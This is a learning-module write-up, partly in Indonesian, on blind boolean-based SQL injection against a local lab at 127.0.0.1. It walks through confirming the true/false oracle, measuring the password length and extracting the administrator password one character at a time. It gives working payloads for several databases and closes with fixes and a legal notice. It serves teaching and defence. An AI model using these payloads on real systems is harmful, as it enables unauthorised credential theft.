

VERZEN

SECURITY LEARNING MODULE

REPORTER Verzen

MODULE VER-03 - Blind SQL Injection (HARD)

TARGET http://127.0.0.1:8012/track - lab lokal milik sendiri

PREREQ VER-01, VER-02 (sudah selesai)

METHOD Conditional response: membaca data via perbedaan perilaku halaman

SUMMARY

This lab NEVER renders query data and never shows errors. The only visible difference: whether the Welcome back! banner appears. Goal: still read the administrator password by turning the query into a series of yes/no questions, one character at a time.

DESCRIPTION

The TrackingId parameter is concatenated into SQL: row found = banner; not found / error = no banner, no message (errors are swallowed server-side). Unlike VER-02 there is no rendered table and no error channel - only ONE BIT of information per request.

GET /track?TrackingId=' + <SQL> --

Server: SELECT tracking_id FROM tracking WHERE tracking_id = '<input>'

Banner 'Selamat datang kembali!' = kondisi TRUE, tidak ada = FALSE

METHODOLOGY

1. Confirm injection

abc123' AND '1'='1 vs abc123' AND '1'='2 => banner muncul vs hilang: oracle terbentuk.

2. Ask TRUE/FALSE questions

abc123' AND SUBSTR((SELECT password FROM users WHERE username='administrator'),1,1)='F'-- => TRUE jika karakter ke-1 = F.

3. Measure length

abc123' AND LENGTH((SELECT password FROM users WHERE username='administrator'))=N-- => geser N sampai TRUE.

4. Extract char by char

loop posisi 1..N, tebak huruf a-z A-Z 0-9 {_-}: TRUE = benar, lalu lanjut karakter berikutnya.

5. Reassemble

gabungkan semua karakter = password administrator lengkap.

KEY PAYLOADS

TrackingId=abc123' AND (SELECT 'a')='a'-- [oracle]

TrackingId=abc123' AND LENGTH((SELECT password FROM users WHERE username='administrator'))=17-- [panjang]

TrackingId=abc123' AND SUBSTR((SELECT password FROM users WHERE username='administrator'),1,1)='F'-- [karakter 1]

SQLite: SUBSTR(text,pos,len), LENGTH(text). MySQL: SUBSTRING/CHAR_LENGTH. PostgreSQL: SUBSTRING/LENGTH. Konsep sama, nama fungsi beda.

WHY BLIND MATTERS

Real apps rarely display errors or query output. Still vulnerable = still extractable, just slower: $N \text{ chars} \times \sim 70$ guesses. In real bug bounty, blind bugs are often skipped by juniors - yet the impact equals a plain UNION leak.

RECOMMENDATION

1. Parameterized queries (the ? placeholder) - kills injection at the root.
2. Do not branch responses on conditions derived from SQL results.
3. Rate-limit + monitor sequential guessing patterns.

LEGAL NOTICE

Own local lab on localhost for learning purposes. The same technique against other systems without written permission is illegal. Legitimate path: bug bounty programs with explicit scope.